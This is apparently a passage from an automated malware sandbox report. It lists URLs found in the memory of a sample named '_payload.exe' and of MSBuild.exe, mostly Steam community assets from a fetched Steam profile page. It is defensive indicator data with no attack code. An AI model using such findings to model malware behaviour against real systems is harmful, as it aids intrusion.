a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=Q4LAS9-JZwft&l=e
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=_D2Bg4UEaFxK&l=en
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
